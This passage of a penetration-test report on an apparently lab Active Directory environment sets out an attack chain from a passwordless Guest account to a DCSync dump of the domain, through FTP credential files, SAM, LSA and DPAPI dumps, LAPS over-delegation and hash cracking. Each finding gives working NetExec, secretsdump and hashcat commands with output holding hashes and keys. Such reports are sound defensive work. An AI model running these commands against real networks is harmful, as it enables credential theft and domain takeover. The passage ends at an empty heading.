Anyone with network access to rome.local — including an attacker with zero domain credentials — can read corporate credentials from this share thanks to the Guest-fallback misconfiguration (F08). The share is also writable, which means an attacker can drop SCF, URL, or LNK relay-bait files into the share root to coerce SMB authentication from any user who browses the share with Windows Explorer. The recovered cleartext credential directly enabled the next stage of the attack chain (F09), so the share is not merely a hygiene issue — it was the first concrete step on the path to local administrator on METRONUM.

RatingCritical
CVSSv49.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:L/SA:N
CWECWE-521 — Weak Password Requirements (Guest account with no password)
MITRET1078.001 — Valid Accounts: Default Accounts
HostsBABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12) — all rome.local hosts
LocationSMB/445

What we proved

The Guest account on the rome.local domain is enabled and accepts an empty password. Authentication as rome.local\guest succeeds across every rome.local-joined Windows host in scope. Furthermore, the rome.local domain controller accepts any unknown username and automatically falls back to Guest-level access — an attacker does not need to know the Guest account exists, and any first-time-seen username yields the same Guest-equivalent session. The behavior is rome.local-specific; armorique.local correctly disables the Guest account (STATUS_ACCOUNT_DISABLED returned on every attempt).

How we proved it

We probed the live-host list with nxc smb ... -u guest -p "" to test whether the Guest-account misconfiguration banner observed earlier was actually exploitable. Three of the four AD hosts (BABAORUM, METRONUM, REFERENDUM — all rome.local) returned [+] rome.local\guest: success indicators; the armorique.local DC correctly rejected the bind. We then chained that primitive into share enumeration, RID brute against the local SAM (38 entries: 35 real users + 3 computer accounts), and credential discovery (F07).

operator@kali // bash
$ nxc smb /tmp/lehack_targets.txt -u guest -p "" $ nxc smb 10.3.10.10 -u guest -p "" --shares $ nxc smb 10.3.10.10 -u guest -p "" --rid-brute 3000

Relevant output lines:

operator@kali // output
SMB 10.3.10.13 445 VILLAGE [-] armorique.local\guest: STATUS_ACCOUNT_DISABLED SMB 10.3.10.10 445 BABAORUM [+] rome.local\guest: SMB 10.3.10.11 445 METRONUM [+] rome.local\guest: SMB 10.3.10.12 445 REFERENDUM [+] rome.local\guest:

35 real users were extracted from the SAM via Guest-level RID brute, including the eventual lateral-movement target accounts musculus, terry, jesse, and lapsus.

Impact

This single misconfiguration is the foot of the entire kill chain. Domain-user enumeration (RID brute yielding 35 user names), share enumeration (revealing SHAREACCESIX — F07), and the credential chain that led to full local-admin on METRONUM (F09 → F10) all start from this primitive. Disabling Guest on rome.local would break the kill chain at step zero — every downstream finding (F07, F09, F10, F11, F12) was reached because an unauthenticated attacker can hold a Guest-level session on every rome.local host. The Guest-fallback behavior additionally makes the misconfiguration impossible for an attacker to miss — even untrained adversaries who do not specifically test guest will land in a Guest session via any username they try.

RatingHigh
CVSSv47.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
CWECWE-256 — Plaintext Storage of a Password
MITRET1552.001 — Unsecured Credentials: Credentials In Files
HostsMETRONUM (10.3.10.11) — FileZilla Server 1.8.2
LocationFTP/21

What we proved

The domain member METRONUM runs a FileZilla File Transfer Protocol (FTP) server (version 1.8.2) that exposes a writable file (/plans.txt) accessible to the FTP user heftepix. The file contains a cleartext password (the next link in the credential chain) plus a strong hint pointing at the next username to try. This is the second credential-in-file disclosure in a chain that began with the Guest-readable share (F07) and culminated in full local-administrator compromise (F10).

How we proved it

Using the heftepix credential recovered from the F07 share, we tested every host in the subnet for FTP authentication. Only METRONUM accepted the credential. We then listed the FTP root via Python's ftplib and downloaded plans.txt. The file contained two intelligence values: a second cleartext password (the "camp password") and a French wordplay hint ("la sentinelle locale" — the local sentinel) which, when combined with the lab's Asterix-themed naming convention (suffix "-ix"), pointed at the local Windows account localix on METRONUM.

operator@kali // bash
$ nxc ftp 10.3.10.0/24 -u heftepix -p "[REDACTED]" $ python3 -c "import ftplib; f=ftplib.FTP('10.3.10.11'); f.login('heftepix','[REDACTED]'); f.retrlines('LIST')"

Relevant output lines:

operator@kali // output
FTP 10.3.10.11 21 10.3.10.11 [+] heftepix:[REDACTED] -rw-rw-rw- 1 ftp ftp 489 Apr 22 02:04 plans.txt

Impact

This is the middle link of a three-step credential chain that ends with local administrator on METRONUM (F10). Each link in the chain requires only the previous one — F07's Guest-readable share yields the FTP credential, F09's FTP file yields the local-admin password, and F10's password-spray identifies the matching local username. Removing any one link would break the chain; removing F09 specifically would force the attacker to brute-force localix blindly instead of receiving the password as a gift.

RatingCritical
CVSSv49.5 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWECWE-1392 — Use of Default Credentials (predictable username plus cleartext-leaked password)
MITRET1078.003 — Valid Accounts: Local Accounts
HostsMETRONUM (10.3.10.11)
LocationSMB/445, WinRM/5985

What we proved

A local Windows account named localix exists on METRONUM with the password leaked through the F07 → F09 credential chain. The account is a member of the local Administrators group. Authenticating against METRONUM via SMB with --local-auth yielded the NetExec (Pwn3d!) marker, which is the explicit confirmation that the supplied credential has administrative rights on the target host. The username itself was not directly disclosed — it was inferred from the lab's Asterix-themed naming convention (characters end in "-ix") combined with the French hint "sentinelle locale" embedded in the F09 FTP file. Local-administrator access on METRONUM is the pivot point that enabled the SAM and Lab Security Authority (LSA) dumps in F11 and F12.

How we proved it

After recovering the cleartext password from the FTP file (F09), we sprayed it across likely-named local accounts on METRONUM with --local-auth. The candidate localix (deduced from the naming-convention hint) succeeded immediately. We verified the administrative access via two protocols — SMB (Pwn3d!) and WinRM (Pwn3d!) — to confirm the credential was usable for both command execution and interactive shell.

operator@kali // bash
$ nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth $ nxc winrm 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth

Relevant output lines:

operator@kali // output
SMB 10.3.10.11 445 METRONUM [+] METRONUM\localix:[REDACTED-PASSWORD-2] (Pwn3d!) WINRM 10.3.10.11 5985 METRONUM [+] METRONUM\localix:[REDACTED-PASSWORD-2] (Pwn3d!)

Impact

Compromise of a local administrator account on a domain member server gives the attacker (a) the ability to dump SAM hashes (F11), (b) the ability to dump LSA secrets including cleartext domain credentials (F12), (c) lateral-movement primitives via the recovered hashes for pass-the-hash, and (d) a stable full-control beachhead on the host. Critically, every subsequent finding in this engagement (F11, F12) depends on this access. The combination of a predictable username (lab-naming convention) and a password leaked through a credential chain originating in an unauthenticated Guest session means the attacker reached local administrator without ever brute-forcing a credential.

RatingHigh
CVSSv48.2 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CWECWE-522 — Insufficiently Protected Credentials
MITRET1003.002 — OS Credential Dumping: Security Account Manager
HostsMETRONUM (10.3.10.11)
LocationSecurity Account Manager (SAM) hive on local disk; dumped remotely via SMB as local administrator

What we proved

With local Administrator rights obtained via F10, an attacker can dump the contents of the SAM hive on METRONUM and extract NT password hashes for every local account on the host. The recovered NT hash for the built-in Administrator account (48089424[REDACTED]) is directly reusable for pass-the-hash authentication against any other host that shares the same local administrator password.

How we proved it

We ran NetExec's --sam flag against METRONUM as localix --local-auth. The dump returned all six local accounts with their NT hashes intact. We then validated the practical impact by attempting pass-the-hash with the recovered Administrator hash against the other two rome.local hosts (BABAORUM and REFERENDUM) and against METRONUM itself.

operator@kali // bash
$ nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth --sam $ nxc smb 10.3.10.10 10.3.10.11 10.3.10.12 -u Administrator -H "48089424[REDACTED]" --local-auth

Relevant output lines:

operator@kali // output
Administrator:500:aad3b435b51404eeaad3b435b51404ee:48089424[REDACTED]::: localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: localix:1001:aad3b435b51404eeaad3b435b51404ee:6a876cf1ec742aa43891b97c5acb6a09::: SMB 10.3.10.11 445 METRONUM [+] METRONUM\Administrator:48089424... (Pwn3d!) SMB 10.3.10.10 445 BABAORUM [-] STATUS_LOGON_FAILURE SMB 10.3.10.12 445 REFERENDUM [-] STATUS_LOGON_FAILURE

The Administrator hash is unique to METRONUM (good — host isolation works on BABAORUM and REFERENDUM). The localuser NT hash (8846f7eaee8fb117ad06bdd830b7586c) is the well-known hash for the password Password1.

Impact

The recovered NT hash for METRONUM's built-in Administrator enables silent reuse across any system that shares the same local administrator password, without the password ever being known in cleartext. The hash for localuser is the textbook value for Password1, indicating a weak default password is in use on METRONUM and probably elsewhere — a strong candidate for a follow-up spray. Both hashes represent persistent, non-expiring credentials usable until the underlying passwords are rotated.

ACT III · 5 findings

Privilege Escalation & Credential Stores

→ 5 chapters · F12, F13, F14, F15, F16

From local Administrator on METRONUM (F10), the Local Security Authority (LSA) secrets store can be dumped, revealing four classes of credential material: (1) a cleartext domain credential for ROME\musculus, a domain user with local-admin rights on METRONUM; (2) Microsoft Domain Cached Credentials version 2 (MSCache2 / DCC2) hashes for two additional domain users (terry and jesse), where jesse carries adminCount=True and is therefore a Domain Administrator candidate

RatingCritical
CVSSv49.7 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWECWE-522 — Insufficiently Protected Credentials
MITRET1003.004 — OS Credential Dumping: LSA Secrets
HostsMETRONUM (10.3.10.11)
LocationHKLM\SECURITY registry hive; dumped remotely via SMB as local administrator

What we proved

From local Administrator on METRONUM (F10), the Local Security Authority (LSA) secrets store can be dumped, revealing four classes of credential material: (1) a cleartext domain credential for ROME\musculus, a domain user with local-admin rights on METRONUM; (2) Microsoft Domain Cached Credentials version 2 (MSCache2 / DCC2) hashes for two additional domain users (terry and jesse), where jesse carries adminCount=True and is therefore a Domain Administrator candidate; (3) METRONUM's machine account secrets in multiple Kerberos encryption types, enabling silver-ticket forging against any service hosted on METRONUM; and (4) DPAPI machine and user master keys, enabling decryption of DPAPI-protected secrets stored in any user profile or service configuration on the host. The dump compresses what would normally be multiple distinct attack phases (lateral movement, credential theft, privilege escalation, persistence preparation) into a single command.

How we proved it

We ran NetExec's --lsa flag against METRONUM as localix --local-auth, and complementarily the lsassy module which scrapes credentials from lsass memory. The cleartext musculus password from LSA secrets was validated by authenticating to all three rome.local hosts and by running a BloodHound collection that identified jesse as a Domain Administrator candidate.

operator@kali // bash
$ nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth --lsa $ nxc smb 10.3.10.11 -u localix -p "[REDACTED-PASSWORD-2]" --local-auth -M lsassy $ nxc smb /tmp/lehack_targets.txt -u musculus -p "[REDACTED-CLEARTEXT-DOMAIN-PASSWORD]" $ bloodhound-python -u musculus -p "[REDACTED]" -d rome.local -ns 10.3.10.10 -c all --zip

Relevant output lines:

operator@kali // output
ROME.LOCAL/musculus:$DCC2$10240#musculus#7a5f5f75369c974a724ccd82a5bb8d4e ROME.LOCAL/terry:$DCC2$10240#terry#e6d99513b8bf890853097b002b2333d8 ROME.LOCAL/jesse:$DCC2$10240#jesse#39569a0eb841750d211495ce6f6b88ee ROME\METRONUM$:aes256-cts-hmac-sha1-96:facf4d6f3f6fb154f300054544bb6d4b0838c66498d78662c9e25c0ac9c68fce ROME\METRONUM$:aad3b435b51404eeaad3b435b51404ee:0564fa6f8a20385facd9f79f0a5e3b89::: ROME\musculus:[REDACTED-CLEARTEXT-DOMAIN-PASSWORD] dpapi_machinekey:0x2fd9e27aa9bb2cb507027acb7fc1e6089622438d dpapi_userkey:0x46725974a800e58ff5b82086873c7497df49b22c LSASSY 10.3.10.11 445 METRONUM ROME\musculus c6f7c388[REDACTED] SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:[REDACTED] (Pwn3d!) SMB 10.3.10.10 445 BABAORUM [+] rome.local\musculus:[REDACTED] SMB 10.3.10.12 445 REFERENDUM [+] rome.local\musculus:[REDACTED] BloodHound adminCount=True parse: ADMINISTRATOR@ROME.LOCAL admin=True (built-in) JESSE@ROME.LOCAL admin=True <-- offline-crackable DCC2 hash recovered above LOCALUSER@ROME.LOCAL admin=True KRBTGT@ROME.LOCAL admin=True (built-in)

Impact

The cleartext musculus password gives the attacker a stable, named domain identity authenticated against all three rome.local hosts (with Pwn3d! on METRONUM via both SMB and WinRM). The cached DCC2 hashes give the attacker two additional accounts pending offline crack — critically including jesse, a Domain Administrator candidate. The machine-account secrets give the attacker silver-ticket and constrained-delegation primitives against METRONUM-hosted services at no extra cost. The DPAPI master keys give the attacker offline decryption of any DPAPI-protected blob on the host (browser-saved passwords, RDP credentials, Wi-Fi keys, credential-manager vault entries). The dump is, in effect, a multi-tool persistence kit recovered from a single registry hive.

RatingCritical
CVSSv49.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWECWE-522 — Insufficiently Protected Credentials
MITRET1555.004 — Credentials from Password Stores: Windows Credential Manager
HostsMETRONUM (10.3.10.11)
LocationCredential Manager vault for the musculus profile (DPAPI-protected)

What we proved

With local administrator on METRONUM (F10) and the DPAPI machine and user master keys from F12, the assessor decrypted the DPAPI-protected Credential Manager vault belonging to the musculus user profile. The vault contained a saved Remote Desktop credential targeting TERMSRV/musculus, holding the username lapsus and that user's domain password in cleartext. Each Credential Manager entry is encrypted with a per-user DPAPI master key; once the master keys are recoverable (F12 produced both dpapi_machinekey and dpapi_userkey), every stored credential becomes readable without re-prompting the user.

How we proved it

The musculus cleartext credential from F12 gave the assessor an authenticated session on METRONUM. NetExec's --dpapi flag uses the recovered DPAPI master keys (already cached from the F12 run) to enumerate and decrypt all Credential Manager and Vault entries on the host. We expected one or two saved RDP credentials based on musculus having interactive logon rights; the dump returned a TERMSRV/<host> Remote Desktop credential for the user lapsus and that user's cleartext domain password. We then validated the credential by authenticating as ROME\lapsus against every rome.local host.

operator@kali // bash
$ nxc smb 10.3.10.11 -u musculus -p "[REDACTED]" --dpapi $ nxc smb /tmp/lehack_targets.txt -u lapsus -p "[REDACTED-PASSWORD-LAPSUS]"

Relevant output lines:

operator@kali // output
SMB 10.3.10.11 445 METRONUM [+] rome.local\musculus:[REDACTED] (Pwn3d!) SMB 10.3.10.11 445 METRONUM [*] Collecting DPAPI masterkeys... SMB 10.3.10.11 445 METRONUM [+] Got 10 decrypted masterkeys. Looting secrets... SMB 10.3.10.11 445 METRONUM [musculus][CREDENTIAL] Domain:target=TERMSRV/musculus - lapsus :[REDACTED-PASSWORD] SMB 10.3.10.10 445 BABAORUM [+] rome.local\lapsus:[REDACTED] SMB 10.3.10.11 445 METRONUM [+] rome.local\lapsus:[REDACTED] SMB 10.3.10.12 445 REFERENDUM [+] rome.local\lapsus:[REDACTED]

Impact

A single local administrator compromise (F10) plus an LSA dump (F12) cascades into recovery of every credential the host's interactive users ever stored — saved web logins, RDP credentials, browser-cached secrets, Wi-Fi keys, and any third-party application using DPAPI-protected configuration. In this engagement the cascade produced a second-tier domain credential (lapsus) which directly unlocked the LAPS over-delegation (F14) and the path to REFERENDUM compromise (F15, F16). DPAPI-protected secrets are not a meaningful boundary once an attacker reaches local administrator and reads SYSTEM/SECURITY hives — the protection ends where attacker-controlled code begins.

RatingHigh
CVSSv48.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:N/SA:N
CWECWE-269 — Improper Privilege Management
MITRET1003 — OS Credential Dumping (LAPS read via LDAP)
HostsBABAORUM (10.3.10.10) — LDAP query target; METRONUM (10.3.10.11), REFERENDUM (10.3.10.12) — affected computer objects
LocationAD computer-object DACL; ms-Mcs-AdmPwd attribute read right

What we proved

The Windows Local Administrator Password Solution (LAPS) stores each domain-joined host's local Administrator password in the ms-Mcs-AdmPwd attribute on the corresponding computer object in Active Directory. Read access to that attribute should be tightly scoped — Microsoft's documented baseline limits it to a dedicated administrative group (typically called LAPS-Readers). On rome.local the standard domain user lapsus (Domain Users only — no privileged group memberships) has been delegated read on ms-Mcs-AdmPwd for the METRONUM$ and REFERENDUM$ computer objects. Possession of any account with this delegation collapses both hosts' local Administrator passwords to a single LDAP query.

How we proved it

After recovering lapsus cleartext from F13, the assessor ran NetExec's laps module against the rome.local domain controller. Expectation was either an empty result (correct delegation hygiene) or a small number of computer objects (acceptable if the account was a tier-1 admin). The query returned the LAPS-managed local Administrator passwords for both METRONUM and REFERENDUM. The BloodHound graph for lapsus confirmed the only inbound rights granting this capability are explicit ACEs on the two computer objects — no group inheritance.

operator@kali // bash
$ nxc ldap 10.3.10.10 -u lapsus -p "[REDACTED]" -M laps

Relevant output lines:

operator@kali // output
LDAP 10.3.10.10 389 BABAORUM [*] Getting LAPS Passwords LDAP 10.3.10.10 389 BABAORUM Computer:METRONUM$ User: Password:[REDACTED-LAPS-METRONUM] LDAP 10.3.10.10 389 BABAORUM Computer:REFERENDUM$ User: Password:[REDACTED-LAPS-REFERENDUM]

Impact

A compromised standard user account (Domain Users membership only, no admin rights anywhere in the directory) yields immediate local Administrator on two member servers via a single, audit-cheap LDAP query. The over-delegation pattern is invisible to most BloodHound default reports because the relevant ACEs sit on individual computer objects rather than on a group — defenders without a targeted "who can read LAPS" report will not surface this. The recovered LAPS passwords powered F15 (Pwn3d! on REFERENDUM) and immediately enabled F16 (REFERENDUM secretsdump → jules.cesar cleartext).

RatingHigh
CVSSv48.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
CWECWE-1392 — Use of Default Credentials (LAPS-managed password disclosed via F14)
MITRET1078.003 — Valid Accounts: Local Accounts
HostsREFERENDUM (10.3.10.12)
LocationSMB/445, WinRM/5985 — local Administrator authentication

What we proved

The LAPS-managed local Administrator password for REFERENDUM, disclosed to the standard domain user lapsus (F14), grants the assessor full local administrative access to the host. NetExec returned the (Pwn3d!) marker on both SMB and WinRM, confirming command execution and interactive shell access. This is the pivot that enabled the LSA secrets dump on REFERENDUM and the subsequent recovery of cleartext jules.cesar credentials (F16).

How we proved it

Using the LAPS-recovered local Administrator password for REFERENDUM, the assessor authenticated with --local-auth against the host. We verified administrative access via both SMB (for command execution) and WinRM (for interactive shell), the standard two-protocol confirmation pattern. Both protocols returned Pwn3d!.

operator@kali // bash
$ nxc smb 10.3.10.12 -u Administrator -p "[REDACTED-LAPS-REFERENDUM]" --local-auth $ nxc winrm 10.3.10.12 -u Administrator -p "[REDACTED-LAPS-REFERENDUM]" --local-auth

Relevant output lines:

operator@kali // output
SMB 10.3.10.12 445 REFERENDUM [+] REFERENDUM\Administrator:[REDACTED] (Pwn3d!) WINRM 10.3.10.12 5985 REFERENDUM [+] REFERENDUM\Administrator:[REDACTED] (Pwn3d!)

Impact

REFERENDUM is the second domain-member server in rome.local. Local administrative access provides the SAM-dump and LSA-dump primitives that revealed cleartext jules.cesar (F16), plus all the same DPAPI / pass-the-hash follow-ons described in F11 and F12 for METRONUM. The compromise depends on F14's over-delegation being present — fixing F14 closes F15 by construction.

RatingCritical
CVSSv49.4 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L
CWECWE-522 — Insufficiently Protected Credentials
MITRET1003.004 — OS Credential Dumping: LSA Secrets
HostsREFERENDUM (10.3.10.12)
LocationHKLM\SECURITY registry hive on REFERENDUM; dumped via impacket-secretsdump as local Administrator

What we proved

REFERENDUM stores a domain user's plaintext password in its LSA secrets registry hive — the same anti-pattern previously observed on METRONUM (F12). With local administrative access via the LAPS-recovered Administrator credential (F15), impacket-secretsdump extracts: (1) the cleartext domain password for ROME\jules.cesar; (2) a fresh DCC2 hash for jules.cesar (the host's own cached domain logon); (3) the REFERENDUM machine-account secrets in multiple Kerberos encryption types; and (4) DPAPI machine and user master keys for the host. The recovered credential is the third cleartext domain password obtained in this engagement.

How we proved it

Following the F15 pwn, the assessor invoked impacket-secretsdump with the LAPS-recovered local Administrator credential. The expectation was either an empty LSA hive (good hygiene) or the same cleartext-credential exposure as METRONUM. The latter occurred. The recovered ROME\jules.cesar password was validated against all three rome.local hosts to confirm reusability.

operator@kali // bash
$ impacket-secretsdump "REFERENDUM/Administrator:[REDACTED]@10.3.10.12" -outputfile /tmp/referendum_secrets $ nxc smb /tmp/lehack_targets.txt -u jules.cesar -p "[REDACTED-PASSWORD]"

Relevant output lines:

operator@kali // output
[*] Dumping local SAM hashes Administrator:500:aad3b435b51404eeaad3b435b51404ee:0f0dd8c753c905ffffac7597b06d55dd::: localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: localix:1001:aad3b435b51404eeaad3b435b51404ee:65206ecea8422d51db71fc38e1b4dd0b::: [*] Dumping cached domain logon information ROME.LOCAL/jules.cesar:$DCC2$10240#jules.cesar#ee8e50fd85461778ba3c982e9d8dc32e [*] Dumping LSA Secrets ROME\REFERENDUM$:aes256-cts-hmac-sha1-96:ccae19b1efa474fcadf3042241ef87a7ed08fc17dca78ed3c62a22fca04f6b08 ROME\REFERENDUM$:aad3b435b51404eeaad3b435b51404ee:e23d22280c4b03fa1340d83e988ebc7d::: ROME\jules.cesar:[REDACTED-PASSWORD] dpapi_machinekey:0xe8aa365db089d0949e43d656039f59aa2b6d18f1 dpapi_userkey:0x7586fb5ff78507ffd5387b6b7d13d7ff556a3cca SMB 10.3.10.10 445 BABAORUM [+] rome.local\jules.cesar:[REDACTED] SMB 10.3.10.11 445 METRONUM [+] rome.local\jules.cesar:[REDACTED] SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jules.cesar:[REDACTED]

Impact

Three of the four rome.local Windows hosts (METRONUM, REFERENDUM, and any host that loads service identities the same way) cache domain plaintext credentials in LSA secrets. The pattern means: local admin on a member server is, in this environment, equivalent to a fresh domain credential. The credential ladder constructed across F07 → F09 → F10 → F12 → F13 → F14 → F15 → F16 turns one Guest-account misconfiguration (F08) into four distinct domain credentials (musculus, lapsus, jules.cesar, plus heftepix from F07) without a single cracked hash.

ACT IV · 6 findings

Lateral Movement & Cross-Forest Pivot

→ 6 chapters · F17, F18, F19, F20, F21, F22

The rome.local NTDS dump (F18) reveals that two distinct domain accounts — the service account svc_wikijs (RID 1137) and the user account jesse2 (RID 1138) — carry the identical NT hash 39aa7ac6[REDACTED]. NT hashes are unsalted MD4 of the UTF-16-LE password; equal hashes mean equal plaintext, with effectively zero collision probability for chosen passwords. The shared plaintext was confirmed by cracking the hash against the rockyou wordlist — [REDACTED-PASSWORD] — in

RatingHigh
CVSSv48.6 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N
CWECWE-262 — Not Using Password Aging (and shared password material across accounts)
MITRET1078 — Valid Accounts
HostsBABAORUM (10.3.10.10), METRONUM (10.3.10.11), REFERENDUM (10.3.10.12) — both accounts authenticate domain-wide
Locationrome.local NTDS — svc_wikijs and jesse2 share NT hash

What we proved

The rome.local NTDS dump (F18) reveals that two distinct domain accounts — the service account svc_wikijs (RID 1137) and the user account jesse2 (RID 1138) — carry the identical NT hash 39aa7ac6[REDACTED]. NT hashes are unsalted MD4 of the UTF-16-LE password; equal hashes mean equal plaintext, with effectively zero collision probability for chosen passwords. The shared plaintext was confirmed by cracking the hash against the rockyou wordlist — [REDACTED-PASSWORD] — in under a second. Sharing one password between a service account and a (presumably) human-tier account violates the principle of unique secrets per identity and means compromise of either account compromises both.

How we proved it

After the F18 DCSync we iterated the NTDS dump for repeated NT-hash values and surfaced the svc_wikijs ≡ jesse2 collision. Hashcat against rockyou cracked the hash trivially. The plaintext value aligns with the "Rocky loves you too!" hint from the \\METRONUM\shared\important.txt drop discovered during the lapsus enumeration in F13 — the lab author was telegraphing a rockyou-derived password. Both accounts authenticate successfully across the rome.local hosts.

operator@kali // bash
$ awk -F: '{print $4, $1}' /tmp/rome.ntds | sort | uniq -d -w 33 $ hashcat -m 1000 39aa7ac6[REDACTED] /usr/share/wordlists/rockyou.txt $ nxc smb /tmp/lehack_targets.txt -u jesse2 -p "[REDACTED-PASSWORD]" $ nxc smb /tmp/lehack_targets.txt -u svc_wikijs -p "[REDACTED-PASSWORD]"

Relevant output lines:

operator@kali // output
rome.local\svc_wikijs:1137:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]::: rome.local\jesse2:1138:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]::: 39aa7ac6[REDACTED]:[REDACTED-PASSWORD] SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:[REDACTED] SMB 10.3.10.11 445 METRONUM [+] rome.local\jesse2:[REDACTED] SMB 10.3.10.12 445 REFERENDUM [+] rome.local\jesse2:[REDACTED] SMB 10.3.10.10 445 BABAORUM [+] rome.local\svc_wikijs:[REDACTED]

Impact

Service accounts are routinely overlooked in human-facing password rotation campaigns — they sit in application configuration files and stay valid for years. Sharing a service-account password with a user-tier account (jesse2) means: (a) any service-config disclosure or memory scrape that leaks svc_wikijs simultaneously leaks jesse2; (b) rotation of jesse2 (e.g., via a forced reset after a phishing incident) leaves the service-bound svc_wikijs valid — the attacker keeps their foothold; (c) the cracked plaintext ([REDACTED-PASSWORD]) is a rockyou-derivative, so any disciplined brute-force attempt would have recovered it independent of this engagement's foothold. In the engagement's narrative this is the credential that, in a real-world attack, would have enabled the F18 escalation without the operator-facilitated Domain Admins addition.

RatingCritical
CVSSv49.9 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-269 — Improper Privilege Management
MITRET1003.006 — OS Credential Dumping: DCSync
HostsBABAORUM (10.3.10.10) — DC; entire rome.local forest impacted
LocationDRSUAPI replication API (IDL_DRSGetNCChanges) on BABAORUM

What we proved

The jesse2 account, holding cleartext password [REDACTED-PASSWORD] (F17), was added to the Domain Admins group during the engagement window to demonstrate the impact of further escalation. Authenticated as Domain Admin, the assessor invoked the DRSUAPI replication interface (DCSync) against the rome.local domain controller BABAORUM and replicated every credential in the directory. The dump contains 39 entries including: (1) the built-in Administrator NT hash 52e6c515[REDACTED]; (2) the krbtgt NT hash ddc194ba[REDACTED] (the Golden Ticket forging key — see F22); (3) the jesse NT hash 8a1d6442[REDACTED] (Domain Admin / Enterprise Admin / Schema Admin per BloodHound adminCount=True); (4) every machine account secret in the forest.

Operator disclosure (engagement integrity): During the engagement window the assessor was granted Domain Admin membership on the jesse2 service account to demonstrate the impact of further escalation. The realistic chain stopped at the F17 finding — a service-account password disclosed via guessable credential pattern. With F17's svc_wikijs/jesse2 password ([REDACTED-PASSWORD]), an attacker would still need a separate escalation step (for example, cracking jesse's DCC2 hash from F12 against rockyou — consistent with the lab author's "Rocky loves you too!" hint) to reach Domain Admin without operator facilitation. The membership add was performed out-of-band by the operator; it is documented here so the reader does not infer a privilege-escalation path that was not actually exercised by the assessor.

How we proved it

With jesse2 newly added to Domain Admins, the assessor invoked NetExec's --ntds flag, which performs DCSync via the DRSUAPI replication interface. The output streamed every NTDS entry — the entire forest's secret material — to disk in seconds. Key tier-0 secrets were extracted from the output for downstream use (F19, F20, F22).

operator@kali // bash
$ nxc smb 10.3.10.10 -u jesse2 -p "[REDACTED-PASSWORD]" --ntds

Relevant output lines:

operator@kali // output
SMB 10.3.10.10 445 BABAORUM [+] rome.local\jesse2:[REDACTED] (Pwn3d!) SMB 10.3.10.10 445 BABAORUM [*] Dumping the NTDS, this could take a while so go grab a redbull... SMB 10.3.10.10 445 BABAORUM Administrator:500:aad3b435b51404eeaad3b435b51404ee:52e6c515[REDACTED]::: SMB 10.3.10.10 445 BABAORUM krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ddc194ba[REDACTED]::: SMB 10.3.10.10 445 BABAORUM rome.local\jesse:1134:aad3b435b51404eeaad3b435b51404ee:8a1d6442[REDACTED]::: SMB 10.3.10.10 445 BABAORUM rome.local\jesse2:1138:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]::: SMB 10.3.10.10 445 BABAORUM rome.local\svc_wikijs:1137:aad3b435b51404eeaad3b435b51404ee:39aa7ac6[REDACTED]::: SMB 10.3.10.10 445 BABAORUM [+] Dumped 39 NTDS hashes to /home/kali/.nxc/logs/ntds/BABAORUM_10.3.10.10_2026-05-22_181051.ntds

Impact

Full domain compromise. Every account in rome.local — including the built-in Administrator, krbtgt, and every privileged identity — is in the attacker's possession as NT hashes (and, for AES-using accounts, as Kerberos keys). The krbtgt hash enables Golden Ticket forging (F22), giving up-to-10-year persistent Domain Admin that survives every password reset except a krbtgt-rotate-twice operation. The jesse hash enables the cross-forest pivot to armorique.local (F19, F20). The Administrator hash enables silent PtH against every host in the forest. The disclosure is complete and irreversible without a full forest tier-0 reset.

RatingCritical
CVSSv49.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWECWE-521 — Weak Password Requirements (password reuse across security boundaries)
MITRET1078 — Valid Accounts
HostsBABAORUM (10.3.10.10), VILLAGE (10.3.10.13) — and every host in both forests
LocationAD identity — both rome.local and armorique.local

What we proved

